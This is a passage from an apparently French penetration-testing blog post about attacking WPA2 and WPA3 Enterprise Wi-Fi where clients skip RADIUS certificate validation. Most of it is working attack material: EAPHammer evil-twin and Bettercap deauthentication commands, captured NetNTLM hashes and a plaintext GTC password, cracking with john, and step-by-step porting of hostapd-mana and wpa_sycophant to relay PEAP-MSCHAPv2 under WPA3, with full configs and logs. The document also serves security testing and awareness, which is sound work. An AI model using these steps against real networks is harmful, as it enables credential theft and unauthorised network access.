Malgré cette sécurité apparente (si la PSK est forte), le risque le plus significatif du WPA2 PSK dans un contexte d'entreprise est organisationnel. Puisque le mot de passe est partagé entre tous les utilisateurs, il n'y a pas de responsabilité individuelle. Plus important encore, la clé est rarement changée lorsqu'un employé ou un prestataire part, car cela nécessite de reconfigurer chaque appareil sur le réseau. Cela crée un risque résiduel de contrôle d'accès, où d'anciens employés peuvent conserver l'accès au réseau indéfiniment. Ce manque de contrôle d'accès granulaire est précisément la raison pour laquelle les grandes organisations préfèrent la norme WPA2 EAP (aka WPA2 Enterprise).

4. WPA2 EAP

WPA2 EAP est souvent désigné comme Wi-Fi d'Entreprise, qui est basé sur la norme IEEE 802.1X. Au lieu d'une PSK, chaque utilisateur ou appareil s'authentifie avec des identifiants uniques, généralement auprès d'un serveur central RADIUS (Remote Authentication Dial-In User Service). Cette approche fournit un contrôle d'accès granulaire et une traçabilité individuelle. Cependant, la sécurité du réseau ne repose plus sur la force d'un seul mot de passe, mais bascule entièrement sur la configuration correcte du processus d'authentification lui-même.

a. Extensible Authentication Protocol (EAP)

802.1X utilise l'Extensible Authentication Protocol (EAP) comme framework pour gérer l'authentification. EAP n'est pas un protocole unique, mais un conteneur qui supporte plusieurs méthodes d'authentification différentes. Lorsqu'un appareil essaie de se connecter à un AP, le flux d'authentification est le suivant :

Plusieurs méthodes EAP peuvent être utilisées. EAP étant juste le cadre, les "méthodes EAP" sont les moyens spécifiques par lesquels un appareil peut prouver son identité. Les plus courantes sont :

• EAP-TLS : L'idéal pour la sécurité. Il utilise des certificats des deux côtés. Le serveur a un certificat pour prouver qu'il est légitime, et le client doit aussi avoir un certificat client unique installé pour prouver son identité.
• PEAP (Protected EAP) : Pour éviter la difficulté d'installer des certificats sur chaque appareil client. Il crée un tunnel chiffré sécurisé utilisant uniquement un certificat serveur pour laisser l'utilisateur vérifier son authenticité. À l'intérieur de ce tunnel sécurisé, l'utilisateur se connecte avec un nom d'utilisateur/mot de passe standard ou un challenge/réponse.
• TTLS (Tunneled TLS) : Similaire à PEAP.

PEAP et TTLS sont appelés des "méthodes tunnel". Comparées aux méthodes directes telles que EAP-TLS, elles nécessitent une méthode de "phase 2" où l'authentification réelle de l'utilisateur se produit à l'intérieur du tunnel qui est lui-même seulement la "phase 1". La différence peut être résumée comme suit :

• Direct (EAP-TLS) : La connexion "externe" est l'authentification. Lorsque le client et le serveur effectuent le handshake TLS, ils échangent des certificats immédiatement. Si les certificats sont valides, l'utilisateur est authentifié. Le handshake est la preuve.

• Tunnelisé (PEAP & TTLS) : Ces méthodes utilisent une approche Phase 1 / Phase 2. La Phase 1 est la création du tunnel, PEAP ou TTLS. La Phase 2 est tout protocole supporté après cela, MSCHAPv2 étant le plus courant, mais MD5, GTC existent aussi par exemple.

Nous verrons plus tard que la Phase 2 est importante par nature. Le problème principal réside cependant dans l'établissement du tunnel pendant la Phase 1 :

Pendant l'échange TLS se produisant durant la Phase 1, le client vérifie le certificat du serveur RADIUS, avant de s'authentifier à l'intérieur du tunnel durant la Phase 2.

b. Quel est le vrai problème ?

La vérification du certificat du serveur par le client est le point de défaillance le plus courant dans les déploiements WPA2 Enterprise. Pendant la Phase 1 d'un handshake EAP, le serveur RADIUS présente un certificat au client pour prouver son identité. Si le client n'est pas configuré pour valider strictement ce certificat (c'est-à-dire vérifier qu'il est signé par une autorité de confiance et possède le nom correct), il fera aveuglément confiance à tout serveur présentant un certificat. Cela vient souvent d'un manque de sensibilisation à la sécurité, où la personne configurant l'appareil configurera juste "Ne pas valider le certificat" parce que, au moins, ça marche. Ce manque de validation permet à un attaquant de recevoir les identifiants de l'utilisateur, car le client effectuera son authentification de Phase 2 avec le faux serveur de l'attaquant. Selon la méthode EAP utilisée, les conséquences sont différentes. MSCHAPv2 nécessitera que l'attaquant performe un cassage hors ligne, puisque l'identifiant obtenu est un challenge-réponse. Cependant, si des méthodes EAP non sécurisées telles que GTC sont utilisées, alors le mot de passe peut être obtenu en clair.

c. Clone

Comme mentionné ci-dessus, dans les cas où la validation du certificat fait défaut, un attaquant peut présenter n'importe quel certificat pour un serveur RADIUS et le client essaiera quand même de s'authentifier. Cependant, pour obtenir cette connexion, il faut créer un faux Point d'Accès. Cette attaque est connue sous le nom de "Evil Twin". Un attaquant configure un AP malveillant avec le même SSID que le réseau d'entreprise. Pour rendre l'attaque plus efficace, des attaques de désauthentification peuvent être effectuées, essayant de forcer les clients légitimes à se déconnecter de leur AP et à scanner les réseaux. La plupart des appareils, une fois déconnectés, essaieront de se reconnecter immédiatement à tout AP connu. À ce moment-là, soit ils se reconnectent au même AP, soit à un autre AP avec le même SSID. Dans cette situation, si le clone fournit un bon signal, il y a de fortes chances d'obtenir une connexion de ce client.

Un bon outil pour créer ce genre d'Evil Twin pour WPA2 EAP est EAPHammer^[12]. Il suffit de générer des certificats avec les options --cert-wizard et ensuite d'utiliser une interface Wi-Fi pour créer un clone de l'AP Cible qui utilisera les certificats pour le serveur RADIUS qui hébergera le processus d'authentification :

# eaphammer --cert-wizard
# eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 1
                                            
                    .__                                          
____ _____  ______ |  |__ _____    _____   _____   ___________ 
_/ __ \\__  \ \____ \|  |  \\__  \  /     \ /     \_/ __ \_  __ \
\  ___/ / __ \|  |_> >   Y  \/ __ \|  Y Y  \  Y Y  \  ___/|  | \/
\___  >____  /   __/|___|  (____  /__|_|  /__|_|  /\___  >__|   
    \/     \/|__|        \/     \/      \/      \/     \/       
                                                                                            

                        Now with more fast travel than a next-gen Bethesda game. >:D
                                            
                            Version:  1.14.1
                            Codename:  Final Frontier         
                            Author:  @s0lst1c3
                            Contact:  gabriel<<at>>transmitengage.com

                                                                                                                                                                                            
[?] Am I root?
[*] Checking for rootness...
[*] I AM ROOOOOOOOOOOOT           
[*] Root privs confirmed! 8D
[*] Saving current iptables configuration...   
[*] Saving current iptables configuration...
[...]
[hostapd] AP starting...

wlan1: interface state UNINITIALIZED->COUNTRY_UPDATE
Using interface wlan1 with hwaddr f2:ab:b8:12:34:56 and ssid "MinistryOfMagic"
wlan1: interface state COUNTRY_UPDATE->ENABLED
wlan1: AP-ENABLED

Généralement, comme mentionné ci-dessus, accompagner le clone d'attaques de désauthentification afin d'inciter les clients légitimes à se reconnecter peut aider à rendre l'attaque plus efficace. Plusieurs outils permettent les attaques de désauthentification, mais ci-dessous est présenté un exemple utilisant Bettercap^[13] (qui fournit également une fonctionnalité de reconnaissance intéressante). Notez que lorsqu'un AP est masqué (ce qui signifie qu'il ne diffuse pas son SSID), la désauthentification vous permettra également d'obtenir le SSID de l'AP qui est nécessaire pour que toute attaque de clone fonctionne.

$ bettercap -iface wlan0
[...]
wlan0  » wifi.recon.channel 6
[14:13:00] [sys.log] [inf] wifi channels: [6]
wlan0  » wifi.show
┌─────────┬───────────────────┬──────────────────┬─────────────────────┬─────┬────┬─────────┬────────┬────────┬──────────┐
│ RSSI ▴  │       BSSID       │       SSID       │     Encryption      │ WPS │ Ch │ Clients │  Sent  │ Recvd  │   Seen   │
├─────────┼───────────────────┼──────────────────┼─────────────────────┼─────┼────┼─────────┼────────┼────────┼──────────┤
│ -30 dBm │ f2:ab:b8:f8:e1:6e │                  │ WPA2 (AES-CCM, WPA) │     │ 6  │ 3       │ 12 kB  │ 12 kB  │ 14:13:04 │
└─────────┴───────────────────┴──────────────────┴─────────────────────┴─────┴────┴─────────┴────────┴────────┴──────────┘
wlan0  » wifi.deauth f2:ab:b8:f8:e1:6e
wlan0  » [14:37:56] [sys.log] [inf] wifi deauthing client 92:07:84:c7:2b:01 from AP  (channel:6 encryption:WPA2)
wlan0  » [14:37:56] [wifi.client.probe] station 92:07:84:c7:2b:01 is probing for SSID MinistryOfMagic (-30 dBm)
wlan0  » [14:37:57] [wifi.client.probe] station 92:07:84:c7:2b:01 is probing for SSID MinistryOfMagic (-20 dBm)

Une fois qu'un client essaie de se reconnecter au point d'accès cloné, ce type de logs peut être observé :

$ eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 6
[...]
wlan1: STA 92:07:84:c7:2b:01 IEEE 802.11: authenticated
wlan1: STA 92:07:84:c7:2b:01 IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 92:07:84:c7:2b:01
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25

Les événements CTRL-EVENT-EAP-PROPOSED-METHOD correspondent à la négociation de la méthode EAP à utiliser^[14]. Lorsque PEAP (method=25) est choisi pour la Phase 1, et c'est la méthode la plus couramment choisie lorsque EAP-TLS n'est pas configuré, alors la Phase 2 est choisie pour envoyer les véritables identifiants du compte utilisé par le client. Dans ce cas, le plus couramment recontré est MSCHAPv2 qui est basé sur un schéma d'authentification challenge-réponse NTLM^[15]. Dans ce cas, l'attaquant obtient un hash NetNTLMv2 qu'il pourra essayer de casser hors ligne avec une attaque par force brute :

$ eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 6
[...]
mschapv2: Thu Aug 14 15:01:47 2025
        domain\username:               kingsley.shacklebolt@phoenix.com
        username:                      kingsley.shacklebolt@phoenix.com
        challenge:                     22:b9:c3:48:f6:86:d4:2f
        response:                      78:70:43:fa:98:a7:67:69:bd:79:d3:92:89:da:9a:01:0f:42:70:72:b9:39:57:c8

        jtr NETNTLM:                   kingsley.shacklebolt@phoenix.com:$NETNTLM$22b9c348f686d42f$787043fa98a76769bd79d39289da9a010f427072b93957c8

        hashcat NETNTLM:               kingsley.shacklebolt@phoenix.com::::787043fa98a76769bd79d39289da9a010f427072b93957c8:22b9c348f686d42f

Voici un exemple utilisant john :

$ john --wordlist=rockyou.txt john_wpa_ntlm.txt 
[...]
harrypotter4ever (kingsley.shacklebolt@phoenix.com)     
1g 0:00:00:00 DONE (2025-08-14 16:06) 1.666g/s 23906Kp/s 24995Kc/s 24995KC/s !!!cutepops4lif..*7¡Vamos!
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
Session completed.

Dans le cas où le client est mal configuré et accepte le GTC (qu'EAPHammer essaiera de négocier selon la façon dont vous le configurez), le client enverra ses identifiants à l'intérieur du tunnel PEAP en clair, ce qui permet à l'attaquant d'obtenir ses identifiants directement :

$ eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 6
[...]
GTC: Thu Aug 14 14:38:10 2025
        username:      ron.weasley@phoenix.com
        password:      croutarlegrosrat

Nous verrons dans la partie suivante que, même lorsque le certificat n'est pas validé, la compromission n'est pas nécessairement directe. Cela sera illustré par un cas d'usage particulier que nous avons rencontré lors de l'une de nos missions.

d. Retex

La complexité pour les sysadmins

Lorsqu'il est possible de capturer des identifiants en utilisant la méthode détaillée ci-dessus, cela signifie qu'un appareil client était configuré pour "ne pas valider" le certificat RADIUS. C'est particulièrement courant avec les appareils personnels utilisés pour le travail (BYOD - Bring Your Own Devices), ou simplement le smartphone avec lequel l'utilisateur voulait se connecter au Wi-Fi et configurer ses identifiants professionnels pour accéder à l'AP de ses bureaux. Sur ces appareils, les utilisateurs peuvent être invités à accepter un certificat non fiable et le font souvent sans considérer les risques.

De plus, il convient de noter que, bien que cela soit déconseillé, les comptes utilisés pour se connecter aux réseaux Wi-Fi WPA2 EAP sont souvent des comptes de domaine Active Directory. Par conséquent, lors de missions, lorsqu'on réussit à obtenir des identifiants, que ce soit parce que GTC est utilisé ou parce qu'un challenge-réponse a été cassé, la conséquence est à la fois l'accès au réseau et l'accès authentifié au domaine Active Directory en utilisant les mêmes identifiants.

Pour éviter cela, une solution que nous avons rencontrée lors d'une mission, est l'utilisation de comptes machine au lieu de comptes utilisateurs. Généralement, les ordinateurs portables peuvent être associés à un employé, tant que MSCHAPv2 est configuré pour être utilisé, le mot de passe sera impossible à casser étant donné que les comptes machines utilisent des mots de passe générés aléatoirement de 240 octets, renouvelés tous les 30 jours.

Relayer au lieu de casser

Lorsque nous avons rencontré cette configuration plutôt astucieuse, l'entreprise utilisait des comptes machine pour authentifier les ordinateurs portables au Wi-Fi, configurés via GPO. Cela signifiait que le mot de passe était le mot de passe long, aléatoire et incassable du compte machine. La seule méthode autorisée était PEAP-MSCHAPv2. Cependant, malgré cette configuration intéressante, qui évite d'utiliser les comptes utilisateurs pour le contrôle d'accès réseau, ils avaient le même problème mentionné plus tôt. Le profil Wi-Fi n'était pas configuré pour vérifier correctement le certificat RADIUS. Par conséquent, nous avons pu capturer plusieurs challenges NetNTLMv2, mais à en juger par les noms des comptes, il était assez facile de deviner qu'il s'agissait de comptes machines et que nous ne les casserions jamais.

Cependant, comme mentionné plus tôt, MSCHAPv2 est basé sur l'authentification NTLM challenge-réponse. NTLM est tristement célèbre pour être relayable par un attaquant positionné en Homme du Milieu. La même chose est en effet possible contre l'authentification Wi-Fi PEAP-MSCHAPv2. SensePost a publié un article^[16] suite à leur conférence DEFCON 2018^[17]. Ils ont publié un outil appelé wpa_sycophant^[18] qui, utilisé conjointement avec hostapd-mana^[19], permet de relayer l'authentification MSCHAPv2. Le hostapd-mana agira comme votre Evil Twin, tant que le client ne vérifie pas le certificat RADIUS, il enverra ses identifiants en utilisant MSCHAPv2. Ensuite, hostapd-mana va relayer cette authentification vers wpa_sycophant. Dès que le processus d'authentification commence d'un côté, wpa_sycophant essaie de se connecter à l'AP légitime pour relayer l'authentification. Un mécanisme de verrouillage entre les deux processus hostapd-mana et wpa_sycophant permet à l'authentification d'être correctement relayée. Si tout se passe comme prévu, le processus wpa_sycophant donne un accès authentifié à l'AP que vous pouvez ensuite utiliser pour accéder au réseau interne de votre cible.

Premièrement, nous pouvons voir que l'absence de vérification du certificat reste le problème principal dans le cas des réseaux Wi-Fi EAP. Cependant, l'utilisation de comptes machine limite les possibilités pour un attaquant. En effet, la technique de relais est déjà un processus assez délicat et après cela, nous n'obtenons qu'un accès réseau. Une fois connectés, nous devons maintenant commencer la reconnaissance non authentifiée. Malgré cette limitation, lors de cette mission, nous avons quand même essayé d'exploiter ce scénario. Cependant, nous avons rencontré un problème inattendu. Le réseau Wi-Fi n'utilisait pas WPA2 EAP comme nous le pensions. Il utilisait en réalité WPA3 Enterprise.

Défi WPA3-Enterprise

Le problème avec l'utilisation de WPA3 consiste en deux éléments. Premièrement, le relais fonctionnera-t-il malgré tout ? Deuxièmement, hostapd-mana et wpa_sycophant sont des versions modifiées de respectivement hostapd^[20] et wpa_supplicant^[21], et ils sont basés sur d'anciennes versions des deux, qui ne supportaient pas encore WPA3.

Nous savons que dans le cas des réseaux Wi-Fi personnels, WPA2 PSK a été récemment remplacé par WPA3 qui remplace le mécanisme PSK par SAE. Cependant, dans le cas des réseaux Wi-Fi d'entreprise, étant donné qu'il utilise EAP, les méthodes EAP derrière le processus d'authentification sont susceptibles de rester les mêmes. En effet, cette hypothèse s'est révélée correcte. Le changement principal dans WPA3 EAP comparé à WPA2 EAP est l'ajout de méthodes de chiffrement plus fortes, et l'application de la Protection des Trames de Gestion (802.11w). Cependant, malgré ces changements, la méthode d'authentification utilisée pour autoriser l'utilisateur avant de dériver une clé de session reste la même. Par conséquent, ce qui était vrai concernant PEAP-MSCHAPv2 dans WPA2 EAP, reste vrai dans WPA3 EAP.

Ainsi, le problème était maintenant d'exécuter l'attaque, malgré ces complications. Premièrement, WPA3 impose l'utilisation de 802.11w, rendant nos attaques de désauthentification inutiles. Nous ne pouvions plus forcer facilement les clients à se connecter à notre clone. De plus, le problème de wpa_sycophant et hostapd-mana n'étant pas basés sur une version assez récente de leur homologue Linux respectif demeure. Puisque les outils sont faits de patchs au code source de ces logiciels Linux, mettre à jour l'outil n'est pas simple étant donné que vous devez mettre à jour la base sur laquelle les correctifs ont été faits, générant beaucoup de conflits dans l'application des patchs.

Par conséquent, pour prouver la théorie selon laquelle le relais dans WPA3 fonctionnerait de manière similaire, nous devions mettre à jour à la fois hostapd-mana et wpa_sycophant. Les dépôts officiels SensePost sont tous deux basés sur la version 2.6 de leur homologue Linux. Cependant, le support WPA3 a été ajouté pour hostapd et wpa_supplicant dans des versions ultérieures uniquement. Sans trop regarder dans les détails, l'idée était : "Si je dois le mettre à jour, autant le mettre à jour vers la dernière version". Par conséquent, l'objectif serait de mettre à jour hostapd-mana et wpa_sycophant vers la version 2.11 de leur équivalent Linux.

Mise à jour de wpa_sycophant

Ce fut assez facile pour wpa_sycophant, étant donné qu'il n'y a pas beaucoup de correctifs effectués. La branche master du dépôt git wpa_sycophant est faite de modifications du code source de wpa_supplicant, nous pouvons donc utiliser le versioning git pour tout appliquer sur la version 2.11 de wpa_supplicant :

$ git clone https://github.com/sensepost/wpa_sycophant.git
$ wget https://w1.fi/releases/wpa_supplicant-2.11.tar.gz
$ cd wpa_sycophant
$ git checkout 80431d680bd3fbbfaa70b87cbe4c0cb0701ef0fd  # Go back to basis of the repo
$ cp -r ../wpa_supplicant-2.11/src/ ./
$ cp -r ../wpa_supplicant-2.11/wpa_supplicant/ ./
$ git add ./*
$ git commit -m 'bump wpa_supplicant version'
$ git merge master # small conflict resolve
$ git status
HEAD detached from 80431d6
You have unmerged paths.
  (fix conflicts and run "git commit")
  (use "git merge --abort" to abort the merge)
[...]
Unmerged paths:
  (use "git add <file>..." to mark resolution)
    both modified:   src/eap_peer/eap.c

Ce conflit peut être résolu en acceptant simplement les deux changements. Nous avons maintenant notre wpa_sycophant à jour et prêt à être utilisé :

$ apt install libnl-route-3-dev libnl-genl-3-dev
$ make -C wpa_supplicant
[...]
  LD  wpa_supplicant
[...]

Mise à jour de hostapd-mana

L'histoire est largement différente avec hostapd-mana car, contrairement à wpa_sycophant, c'est un outil beaucoup plus diversifié qui a beaucoup d'autres usages. Selon sa description : "hostapd-mana is a featureful rogue wifi access point tool. It can be used for a myriad of purposes from tracking and deanonymising devices (aka Snoopy), gathering corporate credentials from devices attempting EAP (aka WPE) or attracting as many devices as possible to connect to perform MitM attacks."

Par conséquent, les correctifs qui transforment hostapd 2.6 en hostapd-mana sont beaucoup plus nombreux et complexes. La même méthodologie, consistant à simplement fusionner deux branches en utilisant git, n'a pas fonctionné cette fois. Étant donné que hostapd-mana a été mis à jour une fois de sa version originale 2.1 vers 2.6, essayer de fusionner les branches entraînera une énorme quantité de conflits. En effet, git voit les mêmes changements dans les deux branches, et malgré l'utilisation de différentes stratégies de fusion, beaucoup de conflits sont restés, malgré le fait que les conflits en question provenaient des mêmes changements effectués dans les deux branches. La solution utilisée a donc été de ne prendre que la base la plus récente de hostapd utilisée pour extraire le correctif de hostapd-mana :

$ wget https://w1.fi/releases/hostapd-2.6.tar.gz
$ git clone https://github.com/sensepost/hostapd-mana
$ tar xvf hostapd-2.6.tar.gz
$ diff -ruN -U 5  hostapd-2.6 hostapd-mana > hostapdmana_patch

Ensuite, il est possible d'appliquer cela à la nouvelle version, ce qui générera moins de conflits :

$ wget https://w1.fi/releases/hostapd-2.11.tar.gz
$ tar xvf hostapd-2.11.tar.gz
$ patch -p1 -d hostapd-2.11 < hostapdmana_patch
patching file buildspec.yml
patching file crackapd/crackapd.conf
[...]
1 out of 1 hunk FAILED -- saving rejects to file src/utils/wpa_debug.c.rej
patching file .travis.yml
$ find ./hostapd-2.11 -type f -name '*.rej'
./hostapd-2.11/src/eap_server/eap.h.rej
./hostapd-2.11/src/eap_server/eap_server.c.rej
./hostapd-2.11/src/utils/wpa_debug.c.rej
./hostapd-2.11/src/ap/ieee802_11.c.rej
./hostapd-2.11/src/ap/beacon.h.rej
./hostapd-2.11/src/ap/beacon.c.rej
./hostapd-2.11/src/ap/hostapd.c.rej
./hostapd-2.11/src/ap/wpa_auth.c.rej
./hostapd-2.11/src/ap/sta_info.h.rej
./hostapd-2.11/src/ap/drv_callbacks.c.rej
./hostapd-2.11/hostapd/config_file.c.rej
./hostapd-2.11/hostapd/ctrl_iface.c.rej
./hostapd-2.11/hostapd/hostapd.conf.rej
./hostapd-2.11/hostapd/main.c.rej
./hostapd-2.11/hostapd/Makefile.rej
./hostapd-2.11/hostapd/hostapd_cli.c.rej
./hostapd-2.11/hostapd/defconfig.rej

Cette solution a fini par éviter beaucoup de conflits, car il ne restait plus que les "vrais conflits". Nous n'avions que 17 conflits, résultant de changements de structure dans le code source de hostapd. Une fois la correction minutieuse de ces erreurs effectuée, quelques problèmes de compilation sont encore survenus, ce qui a permis de corriger les derniers problèmes pour finalement obtenir notre nouveau hostapd-mana 2.11 :

$ cd hostapd-2.11
$ make -C hostapd
[...]
  LD  hostapd
[...]

Il convient de noter que certains avertissements de compilation surviennent encore dans l'état actuel du correctif que nous avons utilisé. Je ne peux pas confirmer que hostapd-mana reste entièrement fonctionnel pour toutes les fonctionnalités qu'il supporte à l'origine. Mais comme nous le verrons, le relais fonctionne toujours bien, nous avons donc choisi d'ignorer ces avertissements étant donné qu'ils n'étaient pas bloquants.

Relayer WPA3 Enterprise

Maintenant que nous avons nos deux outils à la dernière version (2.11) et que nous les avons compilés avec succès, nous pouvons passer au relais. D'abord, pour notre environnement de test, nous allons utiliser cette configuration d'AP :

$ cat hostapd.conf
interface=$IFACE_WPA3_EAP_AP
driver=nl80211
ssid=MinistryOfSecurity
channel=4

wpa=2
wpa_pairwise=CCMP
auth_algs=1
ieee80211w=2

# WPA3-EAP specifics
wpa_key_mgmt=WPA-EAP-SHA256
sae_require_mfp=1
ieee8021x=1
eap_message=Ca va bien chef ? Tacos cordon bleu nuggets sauce biggy stp chef

eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=certs/ca.crt
server_cert=certs/srv.crt
private_key=certs/srv.key

La configuration wpa_supplicant correspondante pour notre faux client est la suivante :

$ cat wpa_supplicant.conf
network={
    ssid="MinistryOfSecurity"
    scan_ssid=1
    key_mgmt=WPA-EAP-SHA256
    ieee80211w=2
    eap=PEAP
    identity="albus.perceval@ministry.sec"
    password="ohTh4ohx8phe1aaQue5eijieraishoop"
    phase1="peaplabel=0"
    phase2="auth=MSCHAPV2"
}

Comme on peut le voir dans la configuration wpa_supplicant, le client est configuré pour utiliser PEAP-MSCHAPv2 et la dernière norme WPA3 EAP. Maintenant, en suivant la documentation des deux outils SensePost, nous pouvons configurer hostapd-mana et wpa_sycophant pour relayer l'authentification. Il est important de configurer bssid_blacklist correctement afin que wpa_sycophant ne se reconnecte pas à hostapd-mana. En fusionnant la configuration documentée et les paramètres spécifiques WPA3, la configuration suivante est obtenue :

$ cat hostapd-mana.conf
interface=wlan2
ssid=MinistryOfSecurity
channel=6
wpa=2
wpa_key_mgmt=WPA-EAP-SHA256
sae_require_mfp=1
wpa_pairwise=CCMP
auth_algs=1
ieee80211w=2

eap_server=1
ieee8021x=1

eap_user_file=hostapd.eap_user
ca_cert=certs/ca.pem
server_cert=certs/server.pem
private_key=certs/server.key
private_key_passwd=
dh_file=dhparam.pem

mana_wpe=1
mana_eapsuccess=1

enable_sycophant=1
sycophant_dir=/tmp/

$ cat wpa_sycophant.conf
network={
   ssid="MinistryOfSecurity"
   scan_ssid=1
   key_mgmt=WPA-EAP-SHA256
   ieee80211w=2
   identity=""
   anonymous_identity=""
   password=""
   eap=PEAP
   phase1="crypto_binding=0 peaplabel=0"
   phase2="auth=MSCHAPV2"
   bssid_blacklist=02:00:00:00:02:00
}

Comme indiqué plus tôt, dans le cas de WPA3, 802.11w est toujours appliqué, rendant la désauthentification inefficace. Par conséquent, le relais ne se produira que lorsque le client se connecte à vous parce qu'aucune autre option n'est disponible, ou si vous êtes choisi lorsqu'il initie la connexion. Malgré cela, dans un environnement de laboratoire, il est plus facile de confirmer que le relais fonctionne effectivement comme prévu :

• Du côté de hostapd-mana, nous pouvons voir que nous avons reçu une connexion et les logs de synchronisation avec wpa_sycophant pour le relais :

$ ./hostapd-mana/hostapd hostapd-mana.conf
MANA: Sycohpant state directory set to /tmp/.
wlan2: interface state UNINITIALIZED->ENABLED
wlan2: AP-ENABLED
wlan2: STA 02:00:00:00:11:00 IEEE 802.11: authenticated
wlan2: STA 02:00:00:00:11:00 IEEE 802.11: associated (aid 1)
wlan2: CTRL-EVENT-EAP-STARTED 02:00:00:00:11:00
wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: albus.perceval@ministry.sec
wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: albus.perceval@ministry.sec
using SYCOPHANT_STATE file : /tmp/SYCOPHANT_STATE
SYCOPHANT: MSCHAPv2 Response handed off to supplicant.
MANA EAP EAP-MSCHAPV2 ASLEAP user=albus.perceval@ministry.sec | asleap -C 78:f8:c7:e0:81:9d:66:47 -R ba:7a:73:96:b2:22:46:e8:5c:d3:51:32:88:0c:5f:26:aa:42:4a:13:ae:a9:98:82
MANA EAP EAP-MSCHAPV2 JTR | albus.perceval@ministry.sec:$NETNTLM$78f8c7e0819d6647$ba7a7396b22246e85cd35132880c5f26aa424a13aea99882:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | albus.perceval@ministry.sec::::ba7a7396b22246e85cd35132880c5f26aa424a13aea99882:78f8c7e0819d6647
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 0a f3 d5 71 4d 9f 76 19 d1 f3 88 ef 40 e3 d9 00
wlan2: CTRL-EVENT-EAP-RETRANSMIT 02:00:00:00:11:00
wlan2: CTRL-EVENT-EAP-RETRANSMIT 02:00:00:00:11:00
wlan2: STA 02:00:00:00:11:00 IEEE 802.11: authenticated
wlan2: STA 02:00:00:00:11:00 IEEE 802.11: associated (aid 1)
wlan2: CTRL-EVENT-EAP-STARTED 02:00:00:00:11:00
wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: albus.perceval@ministry.sec
wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: albus.perceval@ministry.sec
using SYCOPHANT_STATE file : /tmp/SYCOPHANT_STATE
MANA EAP EAP-MSCHAPV2 ASLEAP user=albus.perceval@ministry.sec | asleap -C b9:7b:4a:26:16:15:22:5c -R d9:5b:fe:da:c5:95:65:8d:34:b5:59:4b:3b:80:59:c9:4c:35:b3:65:81:c2:ea:cb
MANA EAP EAP-MSCHAPV2 JTR | albus.perceval@ministry.sec:$NETNTLM$b97b4a261615225c$d95bfedac595658d34b5594b3b8059c94c35b36581c2eacb:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | albus.perceval@ministry.sec::::d95bfedac595658d34b5594b3b8059c94c35b36581c2eacb:b97b4a261615225c

• Du côté de wpa_sycophant, nous pouvons voir la synchronisation également et finalement l'accès réseau obtenu :

$ ./wpa_sycophant.sh -i wlan3 -c wpa_sycophant.conf
SYCOPHANT : RUNNING "./wpa_supplicant/wpa_supplicant -i wlan3 -c wpa.conf"
SYCOPHANT : RUNNING "dhclient wlan3"
Successfully initialized wpa_sycophant
                                                   _                 _
__      ___ __   __ _     ___ _   _  ___ ___  _ __ | |__   __ _ _ __ | |_
\ \ /\ / / '_ \ / _` |   / __| | | |/ __/ _ \| '_ \| '_ \ / _` | '_ \| __|
\ V  V /| |_) | (_| |   \__ \ |_| | (_| (_) | |_) | | | | (_| | | | | |_
   \_/\_/ | .__/ \__,_|___|___/\__, |\___\___/| .__/|_| |_|\__,_|_| |_|\__|
         |_|        |_____|   |___/          |_|

The most important part is the ascii art - Georg-Christian Pranschke

Set MANA to relay
wlan3: SME: Trying to authenticate with 02:00:00:00:10:00 (SSID='MinistryOfSecurity' freq=2427 MHz)
wlan3: Trying to associate with 02:00:00:00:10:00 (SSID='MinistryOfSecurity' freq=2427 MHz)
wlan3: Associated with 02:00:00:00:10:00
wlan3: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
wlan3: CTRL-EVENT-EAP-STARTED EAP authentication started
SYCOPHANT : Getting Identity
SYCOPHANT : Config phase 1 ident : - hexdump_ascii(len=0):
SYCOPHANT : Phase 1 Identity : - hexdump_ascii(len=27):
   61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d   albus.perceval@m
   69 6e 69 73 74 72 79 2e 73 65 63                  inistry.sec
wlan3: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan3: CTRL-EVENT-EAP-METHOD EAP vendor 0 method 25 (PEAP) selected
wlan3: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/C=FR/ST=IDF/L=Paris/O=SecurityOffice/CN=MinistryOfSecurityCA' hash=51b6f105ec699cab9093c4f01686de4adf2e64254a06928cc3e0e2d2106d3eab
wlan3: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/C=FR/ST=IDF/L=Paris/O=SecurityOffice/CN=MinistryOfSecurityCA' hash=51b6f105ec699cab9093c4f01686de4adf2e64254a06928cc3e0e2d2106d3eab
wlan3: CTRL-EVENT-EAP-PEER-CERT depth=0 subject='/C=FR/ST=IDF/L=Paris/O=SecurityRadius/CN=secu.radius@ministry.sec' hash=c9c5122500f994aa2f280c33d0e22ef6a0ff8cdea8aca0fb50078e0fe3ab9aac
SYCOPHANT : Getting Identity
SYCOPHANT : Config phase 2 ident : - hexdump_ascii(len=0):
SYCOPHANT : Phase 2 Identity : - hexdump_ascii(len=27):
   61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d   albus.perceval@m
   69 6e 69 73 74 72 79 2e 73 65 63                  inistry.sec
SYCOPHANT : CHALLANGE DATA - hexdump(len=16): 5c b7 30 29 46 c3 fa cf f8 1d d7 4c 75 13 e7 b4
